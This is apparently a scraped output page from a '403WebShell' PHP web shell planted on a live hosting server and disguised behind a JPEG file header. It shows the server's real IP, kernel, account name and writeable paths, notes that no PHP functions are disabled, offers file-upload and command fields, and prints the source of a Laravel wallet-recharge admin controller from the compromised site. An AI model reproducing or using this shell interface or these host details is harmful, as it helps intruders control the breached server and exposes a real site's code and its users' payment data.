����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 18.219.151.249
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/bofirmacademy.com/app/Http/Controllers/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/bofirmacademy.com/app/Http/Controllers/Admin/WalletRechargeController.php
<?php

namespace App\Http\Controllers\Admin;

use App\Http\Controllers\Controller;
use App\Traits\General;
use App\Models\Package;
use App\Models\UserPackage;
use App\Models\WalletRecharge;
use App\Traits\ImageSaveTrait;
use Illuminate\Http\Request;
use Illuminate\Support\Str;

class WalletRechargeController extends Controller
{
    use General, ImageSaveTrait;

    public function __construct()
    {
        $this->middleware(function ($request, $next) {
            if (!auth()->user()->can('manage_wallet_recharge')) {
                abort('403');
            } // end permission checking
            
            return $next($request);
        });
    }

    public function list()
    {
        $data['title'] = __('Wallet Recharge List');
        $data['navWalletParentActiveClass'] = 'mm-active';
        $data['navWalletParentShowClass'] = 'mm-show';
        $data['subNavWalletActiveClass'] = 'mm-active';
        $data['walletRecharges'] = WalletRecharge::with('payment:id,payment_id,grand_total')->paginate();
        return view('admin.wallet_recharge.list', $data);
    }
    
    public function pendingList()
    {
        $data['title'] = __('Wallet Recharge Pending List');
        $data['navWalletParentActiveClass'] = 'mm-active';
        $data['navWalletParentShowClass'] = 'mm-show';
        $data['subNavWalletActiveClass'] = 'mm-active';
        $data['walletRecharges'] = WalletRecharge::where('status', STATUS_PENDING)->with('payment:id,payment_id,grand_total')->with('payment.bank')->paginate();
        return view('admin.wallet_recharge.pending_list', $data);
    }

    public function changeStatus(Request $request)
    {
        $walletRecharge = WalletRecharge::whereId($request->id)->first();
        if(($request->status == STATUS_ACCEPTED || $request->status == STATUS_REJECTED) && $walletRecharge->status == STATUS_PENDING){
            if($request->status == STATUS_ACCEPTED){
                $walletRecharge->payment->update(['payment_status' => 'paid']);
                createTransaction(auth()->id(), $walletRecharge->payment->sub_total, TRANSACTION_WALLET_RECHARGE, 'Wallet Recharge', 'Recharge (' . $walletRecharge->id . ')', $walletRecharge->id);
                $walletRecharge->payment->user->increment('balance', decimal_to_int($walletRecharge->payment->sub_total));
            }
            else{
                $walletRecharge->payment->update(['payment_status' => 'cancel']);
            }
            
            $walletRecharge->update(['status' => $request->status]);
        }
        else{
            return response()->json([
                'data' => 'success',
            ]);
        }


        return response()->json([
            'data' => 'success',
        ]);
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit